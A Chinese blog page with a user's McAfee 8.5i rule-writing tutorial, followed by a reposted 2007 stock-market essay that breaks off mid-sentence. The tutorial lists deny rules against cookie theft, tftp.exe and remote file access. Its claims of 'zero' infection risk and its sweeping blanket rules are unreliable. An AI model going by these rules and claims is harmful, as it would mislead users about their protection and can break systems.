目前许多木马、病毒都喜欢在注册表驻留。好了。我们用咖啡创建这样一条规则。禁止对本地注册表进行创建、写入活动。好了。除非您同意,否则,注册表是不会无缘无故的被修改的。包括安装软件在内,如果咖啡依然开启这条规则,哈哈,软件虽然安装完了,注册表里却没有写入什么东西。虽然不少软件需要写入注册表里才成,可注册表里没有被写入也可以用的哦——不信的可以实验下!当然,不写入注册表,软件功能上会打折扣,尤其是杀软、防火墙之类。我曾做过类似实验。不让反间谍软件写入注册表里,结果它只能查到间谍,却不能清除间谍(查到间谍数量与反间谍软件安装时是否写入注册表无关)。对比一下金山、瑞星的注册表监视功能,金山、瑞星简直差远了。他们对注册表的监视不但烦人,而且意义不是很大。比如,安装一个软件,点击阻止写入注册表,那您就一直点下去吧。十年也点不完。有什么意义?
规则创建如下所示:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止对本地注册表进行创建、写入活动
阻挡对象:*
要阻挡的文件或文件名:**/*.reg
要阻止的文件操作:在创建文件、写入文件前打勾
响应方式:阻止并报告访问尝试

5、用咖啡来保护主页。

通过咖啡杀软来防护浏览器主页被修改完全可以。这样不用在安装其他软件进行防护了。其他浏览器防护软件不但占用一定资源,而且效果不一定好。而咖啡防护效果相当理想。具体方法如下:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止在本地创建/修改hosts文件
阻挡对象:IEXPLORE.EXE,或者*
要阻挡的文件或文件名:**/etc*/**
要阻止的文件操作:在创建文件、写入文件、删除文件前打勾
响应方式:阻止并报告访问尝试
好了。恶意网站不能在更改您的主页了。

6、阻止恶意脚本入侵。

打开咖啡杀软访问保护中文件保护规则,创建这样一些规则:
1、禁止在本地任何地方读取、执行、创建、写入任何js文件
2、禁止在本地任何地方读取、执行、创建、写入任何vbs文件
3、禁止在本地任何地方读取、执行、创建、写入任何htm文件
4、禁止在本地任何地方读取、执行、创建、写入任何html文件
好了,恶意网站通过脚本而入侵本机的恶意代码、木马基本滚蛋了。

部分规则创建如下所示:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止在本地任何地方读取、执行、创建、写入任何js文件
阻挡对象:*
要阻挡的文件或文件名:**/*.js
要阻止的文件操作:在读取文件、执行文件、创建文件、写入文件前打勾
响应方式:阻止并报告访问尝试
其他的类似规则,参照设置即可。

当然,这样有些严厉,可能防碍上网,可以将这些规则修改为阻止创建、写入即可。

7、用咖啡来防止插件入侵。

现在上网越来越不安全。恶意插件越来越多了。好了。我们用咖啡来对付他们。由于那些插件是绑架到Internet Explorer文件里的,好了,我们用咖啡把Internet Explorer文件保护起来。
规则创建如下所示:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止在Internet Explorer文件夹中进行创建写入活动
阻挡对象:*
要阻挡的文件或文件名:**/Internet Explorer*/**
要阻止的文件操作:在创建文件、写入文件前打勾
响应方式:阻止并报告访问尝试
好了,那些插件不能进来了。

8、防止黑客破坏活动。
目前,黑客越来越多,也越来越喜欢入侵个人主机。黑客入侵个人主机不外乎两个原因:
1、炼手。学习怎么入侵别人。
2、种植后门。控制他人。
好了。废话少说。黑客入侵,很难阻挡。那对于入侵的黑客破坏行为如何进行阻挡呢?看咖啡的手段。我们用咖啡建立这样的规则:禁止远程行为对本地任何文件/文件夹进行任何操作。这样,黑客即便入侵了您的主机,他所能做的还有什么呢?
具体规则设置如下:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止远程行为对本地任何文件/文件夹进行任何操作
阻挡对象:System:Remote
要阻挡的文件或文件名:**/*/**
要阻止的文件操作:在读取文件、执行文件、创建文件、写入文件、删除文件前打勾
响应方式:阻止并报告访问尝试

如果还不放心,可以将系统盘里每个根目录文件夹都创建一个规则。禁止黑客对他们进行任何操作。具体就不一一列举里。这样设置,除非黑客能破坏咖啡,或者黑客知道咖啡密码,更改咖啡设置,才能进行进一步破坏活动。如果黑客想破坏咖啡,决非易事。用过咖啡的人知道,咖啡不能被退出进程,只会持续工作。当然黑客可以通过卸载咖啡来破坏,问题是,黑客进行远程卸载,必定调用exe之类文件,而咖啡是不允许黑客远程对exe之类文件进行任何操作的。偶使用咖啡不久,曾被一个黑客入侵,那时还不懂得设置如此严厉的规则,只是打开咖啡默认的对exe、dll文件保护规则,那个黑客都没有干成什么。如果能建立这样严厉的规则,黑客所能做的事情将会非常非常少哦。

9、防止程序运行。

咖啡具有强大的阻止功能,几乎可以阻止任何一个程序运行。比如,tftp.exe这个程序,一般用户是用不上的。可以用咖啡来阻止他运行。注:咖啡默认规则里已经设置,就不列举了。这个功能非常有用。如果某天,不想运行某个程序,可以参照这个规则,将那个程序终止。或者,某天中了木马、病毒,又清除不掉,怎么办呢?这时咖啡这个功能就突显出来了。将那个木马、病毒程序用咖啡阻止起来即可。这样,那个木马不能运行也等于死悄悄了。

10、建立最严厉的规则。

在到黑客网站、破解基地、黄色网站去,往往难免中木马。虽然我不去那些网站,但为了那些常去黑客网站、破解基地、黄色网站的人的安全,特意为其创建如下规则。禁止在本地进行任何创建、写入、删除活动。这样,中招的几率将会是0。
具体规则设置如下:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止在本地进行任何创建、写入、删除活动
阻挡对象:*
要阻挡的文件或文件名:**/*/**
要阻止的文件操作:在创建文件、写入文件、删除文件前打勾
响应方式:阻止并报告访问尝试
由于这条规则非常严厉,建议只在黑客网站、破解基地、黄色网站浏览时开启。这条规则会产生大量日志,一分钟往往就有几百条详细日志,非常占用空间。所以,移动咖啡日志到其他盘非常重要。当然,这条规则,也适合那些对安全性非常高的人使用。

此上许多规则,会影响到许多进程,所以,当您出现不解问题时,请及时查看咖啡日志,会找到相关答案的。具体解决办法,请斟酌行事。

mcafee杀毒软件编写规则时通配符使用方法
我们都知道,咖啡可以应用通配符 * 和 ? :
(喜欢咖啡的友情帮顶下啊)
1.问号 (?) : 用于排除单个字符) ,比如, 排除项 w?? 排除 www,但不排除 ww 或wwww
2.星号 (*) : 用于排除多个字符
双星号 (**) : 表示零个或多个含有反斜杠的字符,这样允许多层次排除。
比如, **/temp*/** ,双星号 (**) 表示在反斜线 (/) 字符前后任意多个
层级的目录,一个星号 (*) 表示任意一个或部分目录名称。
3.**/*和**有什么不同?---看完测试就知道了
4.排除规则 : C:/quarantine/** 和 C:/quarantine/ 这2条有区别吗?没有区别吗?---前者排除C:/quarantine/目录下的所有文件,包括排除子文件夹,后者只包括C:/quarantine/下的文件,不排除子文件夹,即C:/quarantine/** 的排除范围 > C:/quarantine/ ,看下边我的测试会就明白。

以下是我自己作的测试,还望高手指教,不过我觉得应该是100%正确了的吧xixi
我在E:/110下创建了一些文件和文件夹,其中patch.rar为病毒文件,在165、265文件夹中我把patch.rar分别更名为02.rar,03.rar,以便查看测试结果。
文件夹结构为:

E:/110
---125
---265
---03.rar
---02.rar
---patch.rar

下面我把我的测试结果奉上以飨朋友们--------没兴趣看测试的,直接看最后1句我总结的一条(不过这只是测试中的其中一个结果)
在做此测试时,必须按如下图做些改动:临时禁用按访问扫描,把辅助操作改成继续扫描,以防咖啡进行隔离等动作,

规则为E:/110/ ,排除E:/110/ 下的所有文件,但不排除子文件夹。

规则为E:/110/**,细心的人会发现,**并没有出现在“设置排除项中”,但后边的“排除子文件夹”变成“是”了,其实在“添加排除设置中”输入**(仅限于最后出现的**字符),咖啡会自动把“不包括子文件夹(D)”的勾选中而不会显示**,这个地方中文咖啡似乎有歧义,大家仔细思考下就明白其真正的意思了。(另:在咖啡的访问保护中可以出现**为最后结尾的,因为那里咖啡没有这个打勾的选项, )

规则为E:/110 ,这个规则就是“什么也没有排除” 哈哈哈哈,

规则E:/110/* 等价于 E:/110

规则为E:/110/** /(最后2条规则其实和这条规则的作用是一样的),排除E:/110/下的文件夹,但不排除E:/110/的文件。通过这里大家可以悟出点什么吧,呵呵,我就不多说了。

规则为E:/110/**/**和E:/110/**/只是多了个显式地“排除子文件夹”(是E:/110/**/的子集而已),是但真正的作用是一样的-----排除E:/110/下的文件夹,但不排除E:/110/的文件

规则为E:/110/**/*和E:/110/**/的作用是一样的(是E:/110/**/的子集而已) ,意思是排除E:/110/下的“文件夹中的任何文件”[

看懂以上这些,大家应该什么都明白了,不用我作总结了喜喜。那么大家对咖啡的规则设置,比如“访问保护”等等都轻而易举了吧
不过还是总结1句吧:要是想排除文件夹和该文件夹下的所有文件一定要把“编辑排除项目”中的“不包括子文件夹”的勾选中(中文咖啡在这里字面意思有歧义,严重注意哦),或者在/后边添加2个星号(**),咖啡会自动帮你打勾


另外,就咖啡规则使用情况,说点个人经验。
一、在咖啡默认规则里有这样几条规则:
1、禁止在 Windows 文件夹中创建新文件 (.dll)
2、禁止在 Windows 文件夹中创建新文件 (.exe)
3、禁止在 System32 文件夹中创建新文件 (.dll)
4、禁止在 System32 文件夹中创建新文件 (.exe)
这几条规则,一般情况下都开启没有什么问题。一般的软件,在安装时往往会在Windows 文件夹和System32 文件夹创建exe文件和dll文件。不用管它。即便没有在Windows 文件夹和System32 文件夹创建exe文件和dll文件,也可以使用的。但是惟独在给系统打补丁时例外!某些系统补丁,即便阻止了,也没有什么,可有些系统补丁如果阻止往Windows 文件夹和System32 文件夹创建exe文件和dll文件,那就意味着系统瘫痪!您不能再登陆系统了!切记!所以,在打系统补丁时,要暂停使用这些规则。

二、同样一条保护规则,不要过于频繁的打开关闭。否则很容易出现失灵。原本阻止在某地创建某个文件,咖啡可能变的创建行为也不阻止了。偶甚至碰到咖啡密码失灵的情况,密码正确都不能解禁。所以,不要经常性打开关闭某条规则。这样可以避免此类失灵事件发生。

经过以上设置,再中木马、病毒、广告、间谍、恶意代码······几率将会是0。当然,最有可能中招的就是个人下载不安全软件,而后进行安装导致中招。如果注意安全,那另当别论了。 上面,是偶使用咖啡几个月的一点心得,大家交流一下。如果有更好的技巧,请不吝赐教?
偶再补充一些内容。某些网站或/和黑客,会利用Cookies窃取用户信息。好了。为了尽量杜绝此类事件,可以这样做。用咖啡建立Cookies保护机制。

具体规则设置如下:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止对Cookies文件进行某些操作
阻挡对象:*
要阻挡的文件或文件名:**/Cookies*/**
要阻止的文件操作:在读取文件、创建文件、写入文件前打勾
响应方式:阻止并报告访问尝试

好了。通过Cookies泄密的个人隐私得到咖啡的保护了。当然,这样设置在某些网站不合适宜。需要暂时取消这条规则。至于IE浏览器对Cookies的保护机制,不太好操作。用禁止,好多网站不能去。不禁止,又有危险。与咖啡相比,显然咖啡更加人性化。希望大家喜欢。

使用咖啡来防护个人隐私文件。
这是利用咖啡具有强大的文件保护性能来实现的。许多人喜欢使用某些加密软件对个人文件进行加密,起到防护作用。如果您使用咖啡,那完全可以利用咖啡来实现这个功能。而且防护效果非常理想。他人如果对咖啡不是非常熟悉,根本不会想到是一个杀软来保护的。而且,咖啡防护文件,在他人读取、打开文件时,根本不提密码,也不提咖啡,只是提示:请确认磁盘没有写保护之类。对于一般人来说,还以为文件损毁了而打不开哈。哈哈。是否有些意思?
下面简单介绍一下,如何实现这个功能。首先,请将您所有需要保护的个人文件都放在某个根目录里,比如,起名为,流星雨。然后将这个文件保护起来即可。

具体规则设置如下:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止对流星雨文件/文件夹进行任何操作
阻挡对象:*
要阻挡的文件或文件名:**/流星雨*/**
要阻止的文件操作:在读取文件、执行文件、创建文件、写入文件、删除文件前打勾
响应方式:阻止并报告访问尝试

附录:
一步一步教你用好mcafee 8.5i Mcafee8.5i新规则如何备份、新技巧集合贴:

http://star1020.qq.topzj/thread-365771-1-1.html

McAfee8.5i企业版(安装程序 最新病毒库 详细教程 大众版→增强版→超级版规则包)
http://www.kpfans/bbs/viewth ... &extra=page=1

McAfee文章:

http://www.kpfans/bbs/viewth ... &extra=page=1

mcafee8.0i设置图解完善版:

http://bbs.deepin/read.php?tid=95269&page=1

MCAFEE防病毒软件说明及安装方法:

http://antivirus.hust.edu/mcafee/readme.htm

McAfee8.0 启动 修改 注册表 设置:

http://hi.baidu/shengyi168/b ... 3ad444ac34dea7.html

McAfee无法自动更新病毒库及运行报错的彻底解决方法:
http://bbs.kpfans/redirect.php?tid=45843&goto=newpost 


 


 

10:06 | 添加评论 | 固定链接 | 写入日志2007/7/6
逃脱者可获生机(转贴)
逃脱者可获生机(转贴)

  
  逃脱者可获生机,再次参战。说这话的,是投机之王索罗斯。

  可是,即使像他这样的估值高手,也在判断网络股泡沫时,提前了一年。当时,网络股暴跌5成,他加入做空行列,结果巨亏。因为年末网络股继续暴涨,2000年涨上5200点的高位。

  由朱肯米勒接手再战,在1999年由年初亏25%转为年底赚三成,可是,好梦在2000年一季度结束,量子基金在四月份亏损2成,宣布重组。

  即使是现在的股市大跌,也不能判断股市就不能在年内再创新高。

  关键的问题是,股市调整的次序你搞不清楚。

  是先跌至3000点甚至2800点,就像纳斯达克市场一样,再往上涨,还是跌至3600点见底,重新上涨创新高?

  中间的过程,决定你能不能重新参战。如果你的能力没有耐心,或者你的钱没有耐心,在2800点斩仓,结果你将无力再战,即使股市再创新高,你只不过是在扭亏。

  目前,大市的运行趋势谁能看清楚?如果有人真能看清楚,如果有股指期货,他敢下注吗?

  现在,所以的趋势,结局都是在和政策博弈。正因为如此,没有答案。技术和资金面都失灵。

  泡沫本来有其自身的运行规律,但是,在深沪股市,可能没有了。因为,从前每一次泡沫的破灭和膨胀,都起于政策,归结于政策。

  两位华尔街顶尖高手相继在网络股上失守,证明的两件事:

  一、价值判断可能是对的,但是,时机上不一定正确。索罗斯的判断长期看可是对的,可是,他不得不回补仓位。因为,市场情绪战败了他。

  二、趋势判断可能是对的,但是,一旦错误,你的纠错能力到底怎样?当索罗斯咆哮要朱肯米勒出货时,朱以为游戏还在8点钟,其实,已是9点的散场时间。

  本轮行情的泡沫到底能吹多大?天知道。但是,如果你是价值投资,就像巴菲特,远离,是惟一的办法。

  如果你的投机者,记住,止损是你最后的逃生门。

  美国20世纪最伟大的投机者,一是索罗斯,一是20年代的利文摩尔。

  利文摩尔逃脱了1929年的大崩盘,他是做空的,他赚了。

  可是,在后来的抢反弹中,他加入了做多队伍。

  牛市的山顶上,不死人,可是,抢反弹中,遍地旬尸首。

  从1929年的340点跌至1932年的43点,全球股市上最大的空头利文摩尔,竟然死于做多。

  这看似笑话,可是,有多少人知道究竟是为什么?

  至少有两点:一、不相信牛市变成熊市后,会是大萧条的熊市,而且,会把最后的价值投资者踩在脚底。任何在牛市有价值的观念,都被证明是错误。

  二、小概率事件到底会不会在中国发生。不知道。但是,日本的17年熊市,美国纳市的崩盘和德国中小板市场的关闭,让目前仍是小市值公司为主的中国股市,不得不三思。

  贵州茅台17倍的市销率,苏宁电器133倍受欢迎的市盈率,真的是价值投资吗?

  主力在牛市中做庄和撤退过程,实际上仍是养、套、杀。

  养是什么股票先暴涨一番。然后三个跌停,把你套住。最后的杀。抵抗型下跌,每次都让你有希望,最后却被打回熊市的原形。

  由于牛市的情绪依然深深烙在脑海,,所以,主力的手法很容易得逞。因为熊市不可能有这么多人抢反弹。在5月份和在**日至6月25日期间,垃圾股的巨量换手,说明主力可能遁逃了。

  当三成股票跌幅逾三成,一成股票跌幅逾四成时,指数才跌了一成。这说明了什么?

  难道只是二八格局这么简单?

  从筹码上分析,说明主力正在以极其优美的姿态,极强的操盘能力,有次序,有节奏的撤退。

  换言之,这也是利润最大化的撤退方式。

  当券商股暴跌时,这个牛市的风向标,突然倒塌。这是公墓和私募最集中做多的板块。竟然说倒了就倒了。

  主力已从最牛的龙头板块上撤退,指数竟然没有大跌。机构们已非吴下阿蒙了。

  任何一个超级主力,如果没有被股市消灭,其和其他主力相比的最成功之处,一定是撤退方案。

  在本轮超级牛市中,主力会以什么样的方式撤退?这是最关键的问题。黄金10年只是忽悠新股民的,滑头们怎么能上这当?

  主力是在创新高,拉中移动、中石油,营造一个盛世景象后撤退?还是就此趴下,跌至2009年?

  恐怕没有人会赞成后者。

  1996年底股市的大调整和始于今年5月的股市调整,可能是最像的一次。/

  1996的股市,从924点起跳,在12月13日最高涨至3776点。累积涨幅和今年的有些相似。

  管理层风险提示后出招,当时的所谓利空,放至今年根本不算什么。但是,主力选择了普跌方式,在11月25日将大盘砸至2792点。

  与今年的二八格局不同的是,当时是齐跌,连长虹都跌了四成。主力显然无法出局。

  不得不,次年大反攻,顶着政策一道道金牌,往上做。结果是什么,是深成指涨至6103点。时间是5月12日,离7月1日香港回归还有30多个交易日。

  不过,可怕的是,这一做多,深成指要到今年1月才解套。10年,很多股票至今未解套。

  主力本轮的撤退,最理想的是,在明年4、5月份走出最后的主升浪。可惜,以后10年,股市赚钱将成小概率事件。

  由于中国金融战开始,主力的做多撤退方式能不能如此理想,还是最终服从大局?不知道啊。等着看吧。

  华尔街的所有哲学都是利益。

  政治不过是寻求利益分配的工具。中美的较强,最终仍是实力强者说了算。100年以来,没有国家能出其外。

  英镑、日元、台币、港币、卢布,这些曾在升值后溃败的货币,揭示的表面上是华尔街的胜利,以及美国的强大。但是,实质上却是资本的胜利。

  当本币升值后崩溃时,出手最重的,绝对不是外资或者游资,而是本土的资金。是全国人民一起把自己高估的货币打垮。

  英镑崩溃时,英国人都在赌英国央行溃败。个人都是理性的,只不过,这一所谓的理发导致了更长的经济衰退。个人的理发最终让集体陷于困境。

  人民币低估了吗?从工资表来看,绝对是。在生产要素里,只有工资是低估的。其它土地的地价并不低。资本,利率是人为的压低,黑市价多高了。咱们的科学技术到底有没有低估?

  而且政府断定人民币没有低估,眼前的一切可能都是梦幻。

  温总说,有能力、有决心、有办法,解决所有的金融问题。斯言是宣战吗?不知道啊。

  日本的经济泡沫破灭,在于政府人为地延长股市的繁荣。

  1987年美国股市泡沫破灭,日本竟然走出独立行情。像索罗斯这样的高手皆因此败北。

  日本政府似乎很得意。结果当日本股市涨至3900点时,市值竟饶有兴趣是全球股票市场总额的45%,远远超过美国。

  当时,曾在60年代投资日本股市,占其市值一度达三成的美国投资大师伯垣顿,在20000点已清仓。原因是估值太高。

  伯坦顿与巴老在80年代齐名,为格老最得意的两个门生。

  伯坦顿号称环球投资之父,在20000万就唱空日本股市。正如格拉斯潘在1996年底认为美国股市非理性繁荣。

  枉断股市见顶或见底,说说可以。如果像索罗斯一样,在股指期货上下了重单,你就知道,那是身家。

  现在的问题最根本,也是最关键的一点,是——

  中国政府会不会人为地延长股市的繁荣。

  如果你认为是,你就大胆地买进。

  因为中国政府要做到这一点,比当年日本容易去了。

  所谓人为地延长,是指操纵股市的涨跌。

  日本等发达国家股市,基本是市场自身的博弈。

  上市公司对自身价值的判断,投资机构对经济趋势、大盘行情和公司价值的判断,都是导致博弈的因素。这些咱都有。但是,咱还有新兴加转轨的一面。此外,最关键的是,政策市三字,是永恒的。在外汇公司和国资委的历史完成之前,任何想从深沪股市抹去政策市三个字的努力,都是徒劳的。

  政策市最典型的规则是,政策就是规则,不按牌理出牌。

  长期资本管理公司在卢布贬值中崩溃,原因是没有预测到俄罗斯竟然会撕毁国家信用,不再保证卢布国债的支付。

  其实,更失望的是索罗斯,因为当时俄罗斯的内阁不少曾经是索罗斯基金会的成员。但是,他也没有改变卢布的崩溃。

  香港政府在1998年出面买进股票,持有市值一度以千亿计。这种政策干预市场谁能预料?

  美国股市1907年大崩溃,摩根找到最大的空头利文摩尔,要其放弃做空,否则,将国家出手改变游戏规则。这可能是最好的政策干预。

  近期出台印花税、特别国债,是不是改变了游戏规则?可能还不算,但是,最少是改变了游戏场。而对权证来说,游戏规则已改变。这就是政策市的先兆。

  探寻政策的底线和上限,是最近大资金最忙于做的一件事。在弄清楚政策红线后,任何胆大妄为,可能都是以卵击石。

  中国政策市的规则,是先打招呼,然后再改变游戏规则。

  叫你别过度投机,你把管理层当根葱。你看看招行认沽,那是自找的,主力出货的困苦,比想像中难得多。弄个义庄钾肥的苦肉戏,不过是维持市场残存的一点人气,为自己的出货保留已经不多的空间。

  从5月14号打招呼,到最近的政策持续推出,时间才两个月不到。没有一次政策调控会在如此短的时间内变脸。除非有重大的金融事件出现,譬如大灾难,股市调控的节奏会持续较长时间。

  典型的征兆是,正监会连新基金都不敢大批了。

  用时间换空间,可能是最理想的调整方式。股市指数也不暴跌暴跌,亏钱的只是弱势群体——垃圾股。谁叫你过度投机来着,亏了你自认倒霉吧。

  蓝筹股可是权势群体的生命线,他们一定会死守,除非大牛市预期扭转。

  想想,连2001年到2006牛的大熊市中,机构都能死扛那几只股票,现在再扛一次,有何难事。

  但是,一旦完成筹码转换,小散接手蓝筹,大牛市可能真的结束了。

  对市场主力而言,至少目前有两件事是确定的:

  一、年内至少明年初股市将再创新高。

  二、创新高前一定有一波像样的调整。

  不确定的是,创新高的时间,是年底还是明年。关键一点是,创新高的点位,是从3600点起跳,还是从3000点或者2800点。

  而更为重要的是,拉动指数创新高的股票,是现在的工行、中行,还是未来的中移动,中石油、联想、华润或者中国电信?

  也许股市真的创新高,可是,很可能与你的股票无关。你的股票也许在股市涨至5000点甚至6000点时,只是个旁观者。

  也许垃圾股真的能涨,可是,那是像今年的香港题材股行情一样,质本洁来还洁去,赤条条来去无牵挂。

  所以,由于政府手上的牌太多,以至无法对后市做出准确判断。最好的办法,是顺势而为。

  对了,坚持;错了,认错。在市场面前。大家永远是个小学生。

  最终决定命运的,不在于你是错是对,关键是你对的时候赚了多少,错的时候亏了多少。

  连利文摩尔、艾略特、索罗斯、罗伯逊、格拉汉,这些人都曾在市场面前认错。

  即使是政策制定者凯恩斯都数度破产,你我算个啥?

  思考主力会以什么样的方式,进行仓位调整。应该是最重要的一件事。

  撤退,以什么样的方式,撤离哪些山头?又会将红旗插上哪些高地?

  剔换哪些仓位迎接中移动?现在权重股的估值高了吗?二三线的重仓股估值高了吗?

  未来新的股票增量总值可能超过现在的存量,这对市场影响有多大?

  在今年的龙头股券商和地产之后,下一波的龙头还是他们吗?银行股有能力再做一波大行情吗?

  筹码的转换过程,就是财富的重新分配过程。

  新政策如备兑权证一旦推出,股指期货一旦推出,融资融券一旦推出,权重股将占据市场的大部分成交量。正如香港和海外一样。

  小资金可以天天进出,大主力会怎样对待?

  未来的投资文化可能与现在完全不一样。

  试图预测短期大盘虽然是最没有意义的经济损耗,但是,本身并没有错,关键是预测错了,你怎样应对。

  人们不应该先制定计划,然后让形势适应计划。而应该让计划适应当前的形势。我认为胜败取决于最高指挥部是否拥有这种能力。

  这话是巴顿将军,这位指挥诺曼底登陆的统帅所言。

  毫无疑问,每个市场的参与者都有自己的主见,但是,关键是形势比人强。

  如果将股市比作战场,参战者应该是所有的市场参与者。和国外大不同的是,政府同时扮演了作战主力军和调停人的角色。

  本轮行情的主力,也就是正面作战的部队,应该是基金。这是阳光下的战场,每一次阵地战或者侧翼战,都有清楚的痕迹。

  下一波主力拉动大盘的龙头,肯定不会是目前的基金重仓股。

  茅台,苏宁,这些最多获利近10倍,且没有外延式增长的股票,是基金借机出货的最好时机。

  龙头股肯定不是来自于自身业绩的增长。小公司业绩可能增个几倍,但是,如果大象也这样,那肯定是经济或者产业增长出了问题,过热的大棒一定会把企业砸晕了。

  如果理性地估值,未来的龙头来自于央企整合。这是产生数百亿近千亿市值的板块,也符合国家借资本市场做出国际级别大企业的战略,这也是中国未来能够抵抗金融危机的必然布局。资产注入,整体上市,是目前股市存量的机会。

  更大的增量机会,源自于红筹的回归。由于筹码的成本相近,大家向上的做多动力是一致的。

  大资金肯定在等待这一天的来临。目前,所有的策略似乎都在寻找这两个最后的牛市盛宴。

  绝大多数基金重仓股,都完成或者接近完成了牛市价值区域的主升浪。所谓的价值投资,就像做多平何者,难道香港的平安保险是虚幻得可以假装它不存在吗?

  但是,以后的上涨,来自于基金的幻觉。就像美国70年代的漂亮50。

  最后一波,肯定是对市场情绪的估值。目前尚未得出结论的是,政策对这波情绪性行情的制约程度到底有多大,这也是主力不敢轻动的关键。

  由于基金可用集中优势兵力歼灭权重股策略,由于权重股流通盘太轻,基金完全可能向做多权重股再往下做空,然后等待红筹股回归。这是利润最大化的作战方式,气势最雄伟,最诱惑人,但也最伤人。

  但是,也可能是横盘等待。对政策顶恐慌,令茅台们可能又要横行数月。

  基金重仓股不深跌,指数跌幅不深,时间换空间可能是最后的抉择。

  不过,任何过度悲观和过度乐观可能都是错的。

  往四周看,全球股市都在创新高。

  往上看,4300点的政策顶真有点吓人。资金的龙头,甚至上市公司利润的龙头都是被别人拧着。

  往下看,1000点的低位真有点像深渊。仿佛随时都能将人吞噬。

  往前方看,红筹央企们正准备上市,从来只见新人笑,有谁知道旧人哭。

  往后方看,很多兄弟已倒在牛市的沙滩上,属于他们的时代浪潮,似乎一去不复返了。

  在股市中,每个人也许只是一粒尘埃,谁知道哪一阵风过后,哪一个支点在哪?

  价值投资者可能早早就找到了落脚点,只是大多数从仍在风中。

  目前,价值投资者言必谈巴菲特,并且将他与苏宁、茅台挂上勾。

  巴菲特的精髓是什么?

  简单地盾,是买进持有。行业最好的股票,最可能低的价格和最可能长的持有时间。

  可是,这只是表面功夫。

  巴菲特是华尔街的另类,也就是说,他与股市投资者完全不是一回事。

  巴菲特更多更好的是企业的管理者,尽管他不直接经营企业,但是,首先,他的选择企业风格,决定他不用直接经营。其次,即使选择错误,他有有能力,有办法让企业重新回到正轨。

  可口可乐,本来是一家他不用操心太多的企业,但是,可口可乐一旦想像百事一样多元化,巴菲特绝对不允许。所罗门一度快要破产,最终巴菲特亲自任总裁,将问题解决,投资重新赚钱。

  巴菲特本向具有极强的企业经营能力和产业判断能力,对宏观面的把握更是超强。

  更进一步说,巴菲特是企业利润的创造者,而不仅仅是企业价值的追随者。这和华尔街基金经理不一样,和林奇也不一样。

  巴菲矿的风格,决定了所投资企业的风格。普通的基金经理,没有办法改变企业的命运,但是,巴菲特在很大程度上有这个能力。

  正如苏宁一旦出事,基金经只有恐慌。说像当年从伊利中逃离一样。谁能出手为企业带来生机?谁能阻止企业的胡乱行为?

  在中国学习巴菲特,理念可以,但要践行要参与企业管理的层次,那还有很长的路要走。

  一是基金经理本身没有这种能力,也没有这种精力。二是,企业仍是强势,资本还是弱势者。

  巴菲特可是一家家企业的董事,你是啥?

  最终让你赚钱的,一是判断趋势的能力,二是纠错的能力。

  巴菲特判断的是长期趋势,所以会在2003年非典时买进中石油。在最悲观的时候,资产可能还会低估,但是,和长期的均值相比,回报肯定更大。

  绝对大多数投资者都是判断中短期趋势,所以,市场成交量会这么大。目前,市场很多个股的趋势和指数的趋势出现明显的背离。

  这是一个暂时的波动还是永久的分叉口,应该是需要判断的。市场的情绪目前因此显得极为混乱。

  手中股票价格被腰斩后,部分投资者对亏钱的恐惧,导致了蛇蛟效应在牛市中放大。这种效应会蔓延至蓝筹股吗?即使真的咬上,政策的创口贴会不会为其止血?

  这是变数。比如突然批准发行新基金,放行股指期货?

  目前,最理想的方式,是蓝筹股最后的假摔,完成向3400点的突破。但是,时间的在调整行情的尾段。

  近期的走势,应该是抵抗型下跌,甚至不排除做出三头四头等更为复杂的形态。

  虽然个股的熊市已出现,但是,在对指数在半年内仍将创新高这一判断未改变的情况下,远离市场,虽然可能是一种安全的方式,但是,也可能错过最后牛市狂舞台时的利润。

  想想看,当年日本的股市市值是全球的4成多。全球10家大银行有7家来自日本。这是最后的疯狂。如果泡沫按其自身的运行方式,结果一定是这样。

  只是政策面带来的更多的变数。

  在任何一个超级牛市中,起跳前的俯冲,通常都是惊人的。

  从5月29日4335点以来的调整,是对998点以来的修正。由于股改还有每股送3股的收益,实际投资者的平均收益近4倍。

  乍一看这是惊人的数据。但是,如果从2001年2245点来算,投资者6年来赚得并不多。而深成指最高涨至14576点,较2005年6月的2590点涨幅的确有点大,可是,早在1997年5月,它已达到过6103点。

  咱老百姓其实在股市上并没有赚过很多钱。

  日本当年的股市泡沫的高峰,是国民的集体暴富。当时,日本的口号是“一亿中流”。即在2亿人口中,有一亿是中产阶级。当时,日本的国民工资水平已超过了美国。全球的奢侈品市场都因为日本人的暴富而价格飙升。

  可是,咱中国人还在为猪肉涨价而愁。

  中国猪肉贵了吗,真的是不贵,是咱们的收入太低。而养猪的收入更低。

  日本、美国等诸多国家都曾经历股市的暴涨和暴跌,但是,国际级企业一定在暴涨时形成,即使股市暴跌,他们的技术还在,市场还在。股市的暴跌让丰田、三星、通用、长江实业这些企业垮了吧?在金融风暴中倒闭的只是金融企业,制造业通常是受益者。在牛市中卖出股权,在熊市中买回股权。

  可是,咱们缓慢的融资进程,不仅导致流通股本小,股市投机气氛重,而且还阻碍了企业的繁荣,阻碍了股市的长远走牛。阻碍了咱们从股市中分红。

  将中国电信、中石油、中海油这些企业赶到海外上市的,难道是中小散户?还不是一帮家伙为了手中的筹码不迅速贬值,牺牲了大多数人的利益。

  现在回头看,在将大企业弄回市场之时,竟然最先的政策是调高印花税,而不是让红筹回归,这种市场一热就加税,给那帮家伙太强的警示,散户则成了牛市中的受害者。

  在资本市场助推国民致富的过程中,最关键的是,资本的效率。

  无效率的资本市场,这在2005年前一直都是。好企业环企业都不能融资,大家一起沉沦。

  今年上半年的垃圾股暴涨行情,实际上早就应该制止,这种行情本质上是资本的浪费,只是消息操纵者和庄家的私下分红,老百姓很难从中赚钱,国家也很很因此强大。

  一个好的投资文化,才有好的股市,才有好的国民致富源泉。

  从5月30日以来的股市下跌,被很多人认为是牛市的中期调整,更悲观者认为是牛市结束。这简直是低估了中国人的智慧,也低估了咱渴望致富的胆识。

  在目前熊市思维蔓延的状况下,我们知道,即使地产业最大的万科,市值才1300亿。即使是中国最好的主题公园华侨城,市值才500亿。即使是中国最好的牛退役企业伊利,市值才200亿不到。在日本一度在全世界10大银行里有7家之时,咱们难道不会有世界最好的公司??这些好公司做大做强,成为咱们的摇钱树,难道不应该?

  用最上纲上线的话来说,

